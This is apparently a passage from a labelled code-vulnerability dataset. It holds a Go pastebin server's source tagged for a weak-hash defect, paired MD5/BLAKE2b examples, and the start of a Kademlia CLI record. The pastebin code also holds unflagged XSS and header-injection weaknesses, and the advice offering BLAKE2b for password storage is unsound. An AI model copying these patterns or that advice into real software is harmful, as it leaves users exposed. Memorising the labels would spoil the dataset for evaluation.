err.Error())\n\t\tos.Exit(1)\n\t}\n}\n\n// getSupportedStyless reads supported styles from the highlighter-wrapper\n// (which in turn gets available styles from pygments). It then puts them into\n// an array which is used by the html-template. The function doesn't return\n// anything since the array is defined globally (shrug).\nfunc getSupportedStyles() {\n\n\tlistOfStyles = make(map[string]string)\n\n\targ := \"getstyles\"\n\tout, err := exec.Command(configuration.Highlighter, arg).Output()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Loop lexers and add them to respectively map,\n\tfor _, line := range strings.Split(string(out), \"\\n\") {\n\t\tif line == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tloggy(fmt.Sprintf(\"Populating supported styles map with %s\", line))\n\t\tlistOfStyles[line] = strings.Title(line)\n\t}\n}\n\n// getSupportedLangs reads supported lexers from the highlighter-wrapper (which\n// in turn gets available lexers from pygments). It then puts them into two\n// maps, depending on if it's a \"prioritized\" lexers. If it's prioritized or not\n// is determined by if its listed in the assets/prio-lexers. The description is\n// the key and the actual lexer is the value. The maps are used by the\n// html-template. The function doesn't return anything since the maps are\n// defined globally (shrug).\nfunc getSupportedLangs() {\n\n\tvar prioLexers map[string]string\n\n\t// Initialize maps,\n\tprioLexers = make(map[string]string)\n\tlistOfLangsFirst = make(map[string]string)\n\tlistOfLangsLast = make(map[string]string)\n\n\t// Get prioritized lexers and put them in a separate map,\n\tfile, err := os.Open(\"assets/prio-lexers\")\n\tcheckErr(err)\n\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tprioLexers[scanner.Text()] = \"1\"\n\t}\n\n\tif err := scanner.Err(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tfile.Close()\n\n\targ := \"getlexers\"\n\tout, err := exec.Command(configuration.Highlighter, arg).Output()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Loop lexers and add them to respectively map,\n\tfor _, line := range strings.Split(string(out), \"\\n\") {\n\t\tif line == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\ts := strings.Split(line, \";\")\n\t\tif len(s) != 2 {\n\t\t\tloggy(fmt.Sprintf(\"Could not split '%v' from %s (fields should be seperated by ;)\",\n\t\t\t\ts, configuration.Highlighter))\n\t\t\tos.Exit(1)\n\t\t}\n\t\ts[0] = strings.Title(s[0])\n\t\tif prioLexers[s[0]] == \"1\" {\n\t\t\tloggy(fmt.Sprintf(\"Populating first languages map with %s - %s\",\n\t\t\t\ts[0], s[1]))\n\t\t\tlistOfLangsFirst[s[0]] = s[1]\n\t\t} else {\n\t\t\tloggy(fmt.Sprintf(\"Populating second languages map with %s - %s\",\n\t\t\t\ts[0], s[1]))\n\t\t\tlistOfLangsLast[s[0]] = s[1]\n\t\t}\n\t}\n}\n\n// printHelp prints a description of the program.\n// Exit code will depend on how the function is called.\nfunc printHelp(err int) {\n\n\tfmt.Printf(\"\\n Description, \\n\")\n\tfmt.Printf(\" - This is a small (< 600 line of go) pastebing with\")\n\tfmt.Printf(\" support for syntax highlightnig (trough python-pygments).\\n\")\n\tfmt.Printf(\" No more no less.\\n\\n\")\n\n\tfmt.Printf(\" Usage, \\n\")\n\tfmt.Printf(\" - %s [--help] [--debug]\\n\\n\", os.Args[0])\n\n\tfmt.Printf(\" Where, \\n\")\n\tfmt.Printf(\" - help shows this incredibly useful help.\\n\")\n\tfmt.Printf(\" - debug shows quite detailed information about whats\")\n\tfmt.Printf(\" going on.\\n\\n\")\n\n\tos.Exit(err)\n}\n\n// checkArgs parses the command line in a very simple manner.\nfunc checkArgs() {\n\n\tif len(os.Args[1:]) >= 1 {\n\t\tfor _, arg := range os.Args[1:] {\n\t\t\tswitch arg {\n\t\t\tcase \"-h\", \"--help\":\n\t\t\t\tprintHelp(0)\n\t\t\tcase \"-d\", \"--debug\":\n\t\t\t\tdebug = true\n\t\t\tdefault:\n\t\t\t\tprintHelp(1)\n\t\t\t}\n\t\t}\n\t}\n}\n\n// getDbHandle opens a connection to database.\n// Returns the dbhandle if the open was successful\nfunc getDBHandle() *sql.DB {\n\n\tvar dbinfo string\n\tfor i := 0; i < 6; i++ {\n\t\tconfiguration.DBPlaceHolder[i] = \"?\"\n\t}\n\n\tswitch configuration.DBType {\n\n\tcase \"sqlite3\":\n\t\tdbinfo = configuration.DBName\n\t\tloggy(\"Specified databasetype : \" + configuration.DBType)\n\t\tloggy(fmt.Sprintf(\"Trying to open %s (%s)\",\n\t\t\tconfiguration.DBName, configuration.DBType))\n\n\tcase \"postgres\":\n\t\tdbinfo = fmt.Sprintf(\"host=%s port=%s user=%s password=%s dbname=%s sslmode=disable\",\n\t\t\tconfiguration.DBHost,\n\t\t\tconfiguration.DBPort,\n\t\t\tconfiguration.DBUser,\n\t\t\tconfiguration.DBPassword,\n\t\t\tconfiguration.DBName)\n\t\tfor i := 0; i < 6; i++ {\n\t\t\tconfiguration.DBPlaceHolder[i] = \"$\" + strconv.Itoa(i+1)\n\t\t}\n\n\tcase \"mysql\":\n\t\tdbinfo = configuration.DBUser + \":\" + configuration.DBPassword + \"@tcp(\" + configuration.DBHost + \":\" + configuration.DBPort + \")/\" + configuration.DBName\n\n\tcase \"\":\n\t\tdebugLogger.Println(\" Database error : dbtype not specified in configuration.\")\n\t\tos.Exit(1)\n\n\tdefault:\n\t\tdebugLogger.Println(\" Database error : Specified dbtype (\" +\n\t\t\tconfiguration.DBType + \") not supported.\")\n\t\tos.Exit(1)\n\t}\n\n\tdb, err := sql.Open(configuration.DBType, dbinfo)\n\tcheckErr(err)\n\n\t// Just create a dummy query to really verify that the database is working as\n\t// expected,\n\tvar dummy string\n\terr = db.QueryRow(\"select id from \" + configuration.DBTable + \" where id='dummyid'\").Scan(&dummy)\n\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\tloggy(\"Successfully connected and found table \" + configuration.DBTable)\n\tcase err != nil:\n\t\tdebugLogger.Println(\" Database error : \" + err.Error())\n\t\tos.Exit(1)\n\t}\n\n\treturn db\n}\n\n// generateName generates a short url with the length defined in main config\n// The function calls itself recursively until an id that doesn't exist is found\n// Returns the id\nfunc generateName() string {\n\n\t// Use uniuri to generate random string\n\tid := uniuri.NewLen(configuration.ShortUrlLength)\n\tloggy(fmt.Sprintf(\"Generated id is '%s', checking if it's already taken in the database\",\n\t\tid))\n\n\t// Query database if id exists and if it does call generateName again\n\tvar id_taken string\n\terr := dbHandle.QueryRow(\"select id from \"+configuration.DBTable+\n\t\t\" where id=\"+configuration.DBPlaceHolder[0], id).\n\t\tScan(&id_taken)\n\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\tloggy(fmt.Sprintf(\"Id '%s' is not taken, will use it.\", id))\n\tcase err != nil:\n\t\tdebugLogger.Println(\" Database error : \" + err.Error())\n\t\tos.Exit(1)\n\tdefault:\n\t\tloggy(fmt.Sprintf(\"Id '%s' is taken, generating new id.\", id_taken))\n\t\tgenerateName()\n\t}\n\n\treturn id\n}\n\n// shaPaste hashes the paste data into a sha1 hash which will be used to\n// determine if the pasted data already exists in the database\n// Returns the hash\nfunc shaPaste(paste string) string {\n\n\thasher := sha1.New()\n\thasher.Write([]byte(paste))\n\tsha := base64.URLEncoding.EncodeToString(hasher.Sum(nil))\n\n\tloggy(fmt.Sprintf(\"Generated sha for paste is '%s'\", sha))\n\treturn sha\n}\n\n// savePaste handles the saving for each paste.\n// Takes the arguments,\n// title, title of the paste as string,\n// paste, the actual paste data as a string,\n// expiry, the epxpiry date in epoch time as an int64\n// Returns the Response struct\nfunc savePaste(title string, paste string, expiry int64, hostname string) Response {\n\n\tvar id, hash, delkey, url string\n\n\t// Escape user input,\n\tpaste = html.EscapeString(paste)\n\ttitle = html.EscapeString(title)\n\n\t// Hash paste data and query database to see if paste exists\n\tsha := shaPaste(paste)\n\tloggy(\"Checking if pasted data is already in the database.\")\n\n\terr := dbHandle.QueryRow(\"select id, title, hash, data, delkey from \"+\n\t\tconfiguration.DBTable+\" where hash=\"+\n\t\tconfiguration.DBPlaceHolder[0], sha).Scan(&id,\n\t\t&title, &hash, &paste, &delkey)\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\tloggy(\"Pasted data is not in the database, will insert it.\")\n\tcase err != nil:\n\t\tdebugLogger.Println(\" Database error : \" + err.Error())\n\t\tos.Exit(1)\n\tdefault:\n\t\tloggy(fmt.Sprintf(\"Pasted data already exists at id '%s' with title '%s'.\",\n\t\t\tid, html.UnescapeString(title)))\n\n\t\treturn Response{\n\t\t\tStatus: \"Paste data already exists ...\",\n\t\t\tId: id,\n\t\t\tTitle: title,\n\t\t\tUrl: url,\n\t\t\tSha1: hash,\n\t\t\tSize: len(paste)}\n\t}\n\n\t// Generate id,\n\tid = generateName()\n\turl = hostname + \"/p/\" + id\n\n\t// Set expiry if it's specified,\n\tif expiry != 0 {\n\t\texpiry += time.Now().Unix()\n\t}\n\n\t// Set the generated id as title if not given,\n\tif title == \"\" {\n\t\ttitle = id\n\t}\n\n\tdelKey := uniuri.NewLen(40)\n\n\t// This is needed since mysql/postgres uses different placeholders,\n\tvar dbQuery string\n\tfor i := 0; i < 6; i++ {\n\t\tdbQuery += configuration.DBPlaceHolder[i] + \",\"\n\t}\n\tdbQuery = dbQuery[:len(dbQuery)-1]\n\n\tstmt, err := dbHandle.Prepare(\"INSERT INTO \" + configuration.DBTable + \" (id,title,hash,data,delkey,expiry)values(\" + dbQuery + \")\")\n\tcheckErr(err)\n\n\t_, err = stmt.Exec(id, title, sha, paste, delKey, expiry)\n\tcheckErr(err)\n\n\tloggy(fmt.Sprintf(\"Sucessfully inserted data at id '%s', title '%s', expiry '%v' and data \\n \\n* * * *\\n\\n%s\\n\\n* * * *\\n\",\n\t\tid,\n\t\thtml.UnescapeString(title),\n\t\texpiry,\n\t\thtml.UnescapeString(paste)))\n\tstmt.Close()\n\tcheckErr(err)\n\n\treturn Response{\n\t\tStatus: \"Successfully saved paste.\",\n\t\tId: id,\n\t\tTitle: title,\n\t\tSha1: hash,\n\t\tUrl: url,\n\t\tSize: len(paste),\n\t\tDelKey: delKey}\n}\n\n// DelHandler handles the deletion of pastes.\n// If pasteId and DelKey consist the paste will be removed.\nfunc DelHandler(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tvar inData Request\n\n\tinData.Id = vars[\"pasteId\"]\n\n\t// Escape user input,\n\tinData.DelKey = html.EscapeString(inData.DelKey)\n\tinData.Id = html.EscapeString(inData.Id)\n\n\tfmt.Printf(\"Trying to delete paste with id '%s' and delkey '%s'\\n\",\n\t\tinData.Id, inData.DelKey)\n\tstmt, err := dbHandle.Prepare(\"delete from pastebin where delkey=\" +\n\t\tconfiguration.DBPlaceHolder[0] + \" and id=\" +\n\t\tconfiguration.DBPlaceHolder[1])\n\tcheckErr(err)\n\tres, err := stmt.Exec(inData.DelKey, inData.Id)\n\tcheckErr(err)\n\n\t_, err = res.RowsAffected()\n\n\tif err != sql.ErrNoRows {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tb := Response{Status: \"Deleted paste \" + inData.Id}\n\t\terr := json.NewEncoder(w).Encode(b)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// SaveHandler will handle the actual save of each paste.\n// Returns with a Response struct.\nfunc SaveHandler(w http.ResponseWriter, r *http.Request) {\n\tloggy(fmt.Sprintf(\"url=%s host=%s method=%s\", r.URL.String(), r.Host, r.Method))\n\n\tvar inData Request\n\n\tloggy(fmt.Sprintf(\"Recieving request to save new paste, trying to parse indata.\"))\n\tdecoder := json.NewDecoder(r.Body)\n\terr := decoder.Decode(&inData)\n\n\t// Return error if we can't decode the json-data,\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\td, _ := json.MarshalIndent(inData, \"DEBUG : \", \" \")\n\tloggy(fmt.Sprintf(\"Successfully parsed json indata into struct \\nDEBUG : %s\", d))\n\n\t// Return error if we don't have any data at all\n\tif inData.Paste == \"\" {\n\t\tloggy(\"Empty paste received, returning 500.\")\n\t\thttp.Error(w, \"Empty paste.\", 500)\n\t\treturn\n\t}\n\n\t// Return error if title is to long\n\t// TODO add check of paste size.\n\tif len(inData.Title) > 50 {\n\t\tloggy(fmt.Sprintf(\"Paste title to long (%v).\", len(inData.Title)))\n\t\thttp.Error(w, \"Title to long.\", 500)\n\t\treturn\n\t}\n\n\t// Hmm, not sure why this why this is not in the request,\n\tscheme := \"http://\"\n\tif r.TLS != nil {\n\t\tscheme = \"https://\"\n\t}\n\n\tp := savePaste(inData.Title, inData.Paste, inData.Expiry, scheme+r.Host)\n\n\td, _ = json.MarshalIndent(p, \"DEBUG : \", \" \")\n\tloggy(fmt.Sprintf(\"Returning json data to requester \\nDEBUG : %s\", d))\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\terr = json.NewEncoder(w).Encode(p)\n\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n}\n\n// high calls the highlighter-wrapper and runs the paste through it.\n// Takes the arguments,\n// paste, the actual paste data as a string,\n// lang, the pygments lexer to use as a string,\n// style, the pygments style to use as a string\n// Returns two strings, first is the output from the pygments html-formatter,\n// the second is a custom message\nfunc high(paste string, lang string, style string) (string, string, string, string) {\n\n\t// Defaults\n\tvar default_lang, default_style string\n\tdefault_lang = \"autodetect\"\n\tdefault_style = \"manni\"\n\n\t// Lets loop through the supported languages to catch if the user is doing\n\t// something fishy. We do this to be extra safe since we are making an\n\t// an external call with user input.\n\tvar supported_lang, supported_style bool\n\tsupported_lang = false\n\tsupported_style = false\n\n\tif lang == \"\" {\n\t\tlang = default_lang\n\t\tsupported_lang = true\n\t\tloggy(fmt.Sprintf(\"Language is not set, will set to '%s'\", default_lang))\n\t} else {\n\t\t// Check for supported languages\n\t\tfor _, v1 := range listOfLangsFirst {\n\t\t\tif lang == v1 {\n\t\t\t\tsupported_lang = true\n\t\t\t}\n\t\t}\n\n\t\tfor _, v2 := range listOfLangsLast {\n\t\t\tif lang == v2 {\n\t\t\t\tsupported_lang = true\n\t\t\t}\n\t\t}\n\n\t\tif lang == default_lang {\n\t\t\tsupported_lang = true\n\t\t}\n\t}\n\n\tif supported_lang {\n\t\tloggy(fmt.Sprintf(\"Language set to '%s'\", lang))\n\t} else {\n\t\tloggy(fmt.Sprintf(\"Requested language ('%s') is not supported, using '%s' as default\",\n\t\t\tlang, default_lang))\n\t}\n\n\t// Same with the styles,\n\tif style == \"\" {\n\t\tstyle = default_style\n\t\tsupported_style = true\n\t\tloggy(fmt.Sprintf(\"Style is not set, will set to '%s'\", default_style))\n\t} else {\n\t\tfor _, s := range listOfStyles {\n\t\t\tif style == strings.ToLower(s) {\n\t\t\t\tsupported_style = true\n\t\t\t}\n\t\t}\n\t}\n\n\tif supported_style {\n\t\tloggy(fmt.Sprintf(\"Style set to '%s'\", style))\n\t} else {\n\t\tloggy(fmt.Sprintf(\"Requested style ('%s') is not supported, using '%s' as default\",\n\t\t\tstyle, default_style))\n\t}\n\n\tif _, err := os.Stat(configuration.Highlighter); os.IsNotExist(err) {\n\t\tlog.Fatal(err)\n\t}\n\n\tloggy(fmt.Sprintf(\"Executing command : %s %s %s\", configuration.Highlighter,\n\t\tlang, style))\n\tcmd := exec.Command(configuration.Highlighter, lang, style)\n\tcmd.Stdin = strings.NewReader(paste)\n\n\tvar stdout bytes.Buffer\n\tcmd.Stdout = &stdout\n\n\tvar stderr bytes.Buffer\n\tcmd.Stderr = &stderr\n\n\terr := cmd.Run()\n\tif err != nil {\n\t\tloggy(fmt.Sprintf(\"The highlightning feature failed, returning text. Error : %s\", stderr.String()))\n\t\treturn paste, \"Internal Error, returning plain text.\", lang, style\n\t}\n\n\tloggy(fmt.Sprintf(\"The wrapper returned the requested language (%s)\", lang))\n\treturn stdout.String(), stderr.String(), lang, style\n}\n\n// checkPasteExpiry checks if a paste is overdue.\n// It takes the pasteId as sting and the expiry date as an int64 as arguments.\n// If the paste is overdue it gets deleted and false is returned.\nfunc checkPasteExpiry(pasteId string, expiry int64) bool {\n\n\tloggy(\"Checking if paste is overdue.\")\n\tif expiry == 0 {\n\t\tloggy(\"Paste doesn't have a duedate.\")\n\t} else {\n\t\t// Current time,\n\t\tnow := time.Now().Unix()\n\n\t\t// Human friendly strings for logging,\n\t\tnowStr := time.Unix(now, 0).Format(\"2006-01-02 15:04:05\")\n\t\texpiryStr := time.Unix(expiry, 0).Format(\"2006-01-02 15:04:05\")\n\t\tloggy(fmt.Sprintf(\"Checking if paste is overdue (is %s later than %s).\",\n\t\t\tnowStr, expiryStr))\n\n\t\t// If expiry is greater than current time, delete paste,\n\t\tif now >= expiry {\n\t\t\tloggy(\"User requested a paste that is overdue, deleting it.\")\n\t\t\tdelPaste(pasteId)\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\n// delPaste deletes the actual paste.\n// It takes the pasteId as sting as argument.\nfunc delPaste(pasteId string) {\n\n\t// Prepare statement,\n\tstmt, err := dbHandle.Prepare(\"delete from pastebin where id=\" +\n\t\tconfiguration.DBPlaceHolder[0])\n\tcheckErr(err)\n\n\t// Execute it,\n\t_, err = stmt.Exec(pasteId)\n\tcheckErr(err)\n\n\tstmt.Close()\n\tloggy(\"Successfully deleted paste.\")\n}\n\n// getPaste gets the paste from the database.\n// Takes the pasteid as a string argument.\n// Returns the Response struct.\nfunc getPaste(pasteId string) Response {\n\n\tvar title, paste string\n\tvar expiry int64\n\n\terr := dbHandle.QueryRow(\"select title, data, expiry from \"+\n\t\tconfiguration.DBTable+\" where id=\"+configuration.DBPlaceHolder[0],\n\t\tpasteId).Scan(&title, &paste, &expiry)\n\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\tloggy(\"Requested paste doesn't exist.\")\n\t\treturn Response{Status: \"Requested paste doesn't exist.\"}\n\tcase err != nil:\n\t\tdebugLogger.Println(\" Database error : \" + err.Error())\n\t\tos.Exit(1)\n\t}\n\n\t// Check if paste is overdue,\n\tif !checkPasteExpiry(pasteId, expiry) {\n\t\treturn Response{Status: \"Requested paste doesn't exist.\"}\n\t}\n\n\t// Unescape the saved data,\n\tpaste = html.UnescapeString(paste)\n\ttitle = html.UnescapeString(title)\n\n\texpiryS := \"Never\"\n\tif expiry != 0 {\n\t\texpiryS = time.Unix(expiry, 0).Format(\"2006-01-02 15:04:05\")\n\t}\n\n\tr := Response{\n\t\tStatus: \"Success\",\n\t\tId: pasteId,\n\t\tTitle: title,\n\t\tPaste: paste,\n\t\tSize: len(paste),\n\t\tExpiry: expiryS}\n\n\td, _ := json.MarshalIndent(r, \"DEBUG : \", \" \")\n\tloggy(fmt.Sprintf(\"Returning data from getPaste \\nDEBUG : %s\", d))\n\n\treturn r\n}\n\n// APIHandler handles all\nfunc APIHandler(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tpasteId := vars[\"pasteId\"]\n\n\tvar inData Request\n\tdecoder := json.NewDecoder(r.Body)\n\terr := decoder.Decode(&inData)\n\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tloggy(fmt.Sprintf(\"Getting paste with id '%s' and lang '%s' and style '%s'.\",\n\t\tpasteId, inData.Lang, inData.Style))\n\n\t// Get the actual paste data,\n\tp := getPaste(pasteId)\n\tif p.Status == \"Requested paste doesn't exist.\" {\n\t\tnotfoundHandler(w, pasteId)\n\t\treturn\n\t}\n\n\tif inData.WebReq {\n\t\t// If no style is given, use default style,\n\t\tif inData.Style == \"\" {\n\t\t\tinData.Style = \"manni\"\n\t\t\tp.Url += \"/\" + inData.Style\n\t\t}\n\n\t\t// If no lang is given, use autodetect\n\t\tif inData.Lang == \"\" {\n\t\t\tinData.Lang = \"autodetect\"\n\t\t\tp.Url += \"/\" + inData.Lang\n\t\t}\n\n\t\t// Run it through the highgligther.,\n\t\tp.Paste, p.Extra, p.Lang, p.Style = high(p.Paste, inData.Lang, inData.Style)\n\t}\n\n\td, _ := json.MarshalIndent(p, \"DEBUG : \", \" \")\n\tloggy(fmt.Sprintf(\"Returning json data to requester \\nDEBUG : %s\", d))\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\terr = json.NewEncoder(w).Encode(p)\n\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n}\n\nfunc notfoundHandler(w http.ResponseWriter, pasteId string) {\n\tw.WriteHeader(http.StatusNotFound)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tresp := make(map[string]string)\n\tresp[\"404\"] = \"Paste with id \" + pasteId + \" not found\"\n\tjsonResp, err := json.Marshal(resp)\n\tif err != nil {\n\t\tloggy(fmt.Sprintf(\"Could not create 404 json (%s)\", err))\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tw.Write(jsonResp)\n}\n\n// pasteHandler generates the html paste pages\nfunc pasteHandler(w http.ResponseWriter, r *http.Request) {\n\n\tvars := mux.Vars(r)\n\tpasteId := vars[\"pasteId\"]\n\tlang := vars[\"lang\"]\n\tstyle := vars[\"style\"]\n\n\tloggy(fmt.Sprintf(\"Getting paste with id '%s' and lang '%s' and style '%s'.\", pasteId, lang, style))\n\n\t// Get the actual paste data,\n\tp := getPaste(pasteId)\n\tif p.Status == \"Requested paste doesn't exist.\" {\n\t\tnotfoundHandler(w, pasteId)\n\t\treturn\n\t}\n\n\t// Run it through the highgligther.,\n\tp.Paste, p.Extra, p.Lang, p.Style = high(p.Paste, lang, style)\n\n\t// Construct page struct\n\tpage := &Page{\n\t\tBody: template.HTML(p.Paste),\n\t\tExpiry: p.Expiry,\n\t\tLang: p.Lang,\n\t\tLangsFirst: listOfLangsFirst,\n\t\tLangsLast: listOfLangsLast,\n\t\tPasteId: pasteId,\n\t\tStyle: p.Style,\n\t\tSupportedStyles: listOfStyles,\n\t\tTitle: p.Title,\n\t\tWrapperErr: p.Extra,\n\t}\n\n\terr := templates.ExecuteTemplate(w, \"syntax.html\", page)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}\n\n// CloneHandler handles generating the clone pages\nfunc CloneHandler(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tpasteId := vars[\"pasteId\"]\n\n\tp := getPaste(pasteId)\n\tif p.Status == \"Requested paste doesn't exist.\" {\n\t\tnotfoundHandler(w, pasteId)\n\t\treturn\n\t}\n\n\tloggy(p.Paste)\n\n\t// Clone page struct\n\tpage := &Page{\n\t\tBody: template.HTML(p.Paste),\n\t\tPasteTitle: \"Copy of \" + p.Title,\n\t\tTitle: \"Copy of \" + p.Title,\n\t}\n\n\terr := templates.ExecuteTemplate(w, \"index.html\", page)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}\n\n// DownloadHandler forces downloads of selected pastes\nfunc DownloadHandler(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tpasteId := vars[\"pasteId\"]\n\n\tp := getPaste(pasteId)\n\tif p.Status == \"Requested paste doesn't exist.\" {\n\t\tnotfoundHandler(w, pasteId)\n\t\treturn\n\t}\n\n\t// Set header to an attachment so browser will automatically download it\n\tw.Header().Set(\"Content-Disposition\", \"attachment; filename=\"+p.Title)\n\tw.Header().Set(\"Content-Type\", r.Header.Get(\"Content-Type\"))\n\tio.WriteString(w, p.Paste)\n}\n\n// RawHandler displays the pastes in text/plain format\nfunc RawHandler(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tpasteId := vars[\"pasteId\"]\n\n\tp := getPaste(pasteId)\n\tif p.Status == \"Requested paste doesn't exist.\" {\n\t\tnotfoundHandler(w, pasteId)\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"text/plain; charset=UTF-8; imeanit=yes\")\n\n\t// Simply write string to browser\n\tio.WriteString(w, p.Paste)\n}\n\n// RootHandler handles generating the root page\nfunc RootHandler(w http.ResponseWriter, r *http.Request) {\n\n\tp := &Page{\n\t\tLangsFirst: listOfLangsFirst,\n\t\tLangsLast: listOfLangsLast,\n\t\tTitle: configuration.DisplayName,\n\t}\n\n\terr := templates.ExecuteTemplate(w, \"index.html\", p)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}\n\nfunc serveCss(w http.ResponseWriter, r *http.Request) {\n\thttp.ServeFile(w, r, \"assets/pastebin.css\")\n}\n\nfunc main() {\n\n\t// Set up new logger,\n\tdebugLogger = log.New(os.Stderr, \"DEBUG : \", log.Ldate|log.Ltime)\n\n\t// Check args,\n\tcheckArgs()\n\n\t// Load config,\n\tfile, err := os.Open(\"config.json\")\n\tif err != nil {\n\t\tloggy(fmt.Sprintf(\"Error opening config.json (%s)\", err))\n\t\tos.Exit(1)\n\t}\n\tloggy(fmt.Sprintf(\"Successfully opened %s\", \"config.json\"))\n\n\t// Try to parse json,\n\tdecoder := json.NewDecoder(file)\n\terr = decoder.Decode(&configuration)\n\tif err != nil {\n\t\tloggy(fmt.Sprintf(\"Error parsing json data from %s : %s\", \"config.json\", err))\n\t\tos.Exit(1)\n\t}\n\n\td, _ := json.MarshalIndent(configuration, \"DEBUG : \", \" \")\n\tloggy(fmt.Sprintf(\"Successfully parsed json data into struct \\nDEBUG : %s\", d))\n\n\t// Get languages and styles,\n\tgetSupportedLangs()\n\tgetSupportedStyles()\n\n\t// Get the database handle\n\tdbHandle = getDBHandle()\n\n\t// Router object,\n\trouter := mux.NewRouter()\n\n\t// Routes,\n\trouter.HandleFunc(\"/\", RootHandler)\n\trouter.HandleFunc(\"/p/{pasteId}\", pasteHandler).Methods(\"GET\")\n\trouter.HandleFunc(\"/p/{pasteId}/{lang}\", pasteHandler).Methods(\"GET\")\n\trouter.HandleFunc(\"/p/{pasteId}/{lang}/{style}\", pasteHandler).Methods(\"GET\")\n\n\t// Api\n\trouter.HandleFunc(\"/api\", SaveHandler).Methods(\"POST\")\n\trouter.HandleFunc(\"/api/{pasteId}\", APIHandler).Methods(\"POST\")\n\trouter.HandleFunc(\"/api/{pasteId}\", APIHandler).Methods(\"GET\")\n\trouter.HandleFunc(\"/api/{pasteId}\", DelHandler).Methods(\"DELETE\")\n\n\trouter.HandleFunc(\"/raw/{pasteId}\", RawHandler).Methods(\"GET\")\n\trouter.HandleFunc(\"/clone/{pasteId}\", CloneHandler).Methods(\"GET\")\n\n\trouter.HandleFunc(\"/download/{pasteId}\", DownloadHandler).Methods(\"GET\")\n\trouter.HandleFunc(\"/assets/pastebin.css\", serveCss).Methods(\"GET\")\n\n\t// Set up server,\n\tsrv := &http.Server{\n\t\tHandler: router,\n\t\tAddr: configuration.ListenAddress + \":\" + configuration.ListenPort,\n\t\tWriteTimeout: 15 * time.Second,\n\t\tReadTimeout: 15 * time.Second,\n\t}\n\n\terr = srv.ListenAndServe()\n\tcheckErr(err)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 7, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "cddaa2c347f5d5fa169eeeaac637e572ef3c40c72ee8f0d27a0c198ac7465464", "license": {"spdx": ["MIT"], "repo": "chopan-7/D7024E_Kademlia_lab", "path": "cli/cli.go", "repo_head_hexsha": "53587822fb7086a94fa395fbb97e100f48c4b231", "stack_hexsha": "75a9ae3cb697cd36ce0cf8113b9164b5ee3e7ec7", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"fmt\"\n\tlc \"kademlia/labCode\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n)\n\ntype CLIApp struct {\n\tIP string\n\tPort int\n}\n\n// Message body is used to store any information that we want to send in an RPC\ntype CLIMsgBody struct {\n\tData []byte // Hashed key value\n\tDataContact lc.Contact\n}\n\ntype CLIResponse struct {\n\tRPC string // String representing what kind of rpc the message is\n\tBody CLIMsgBody\n}\n\n/*\n\tCLI module is detached from the rest of the service hence it\n\thas its own main package and function\n\n\tThe CLI will only communicate outwards to 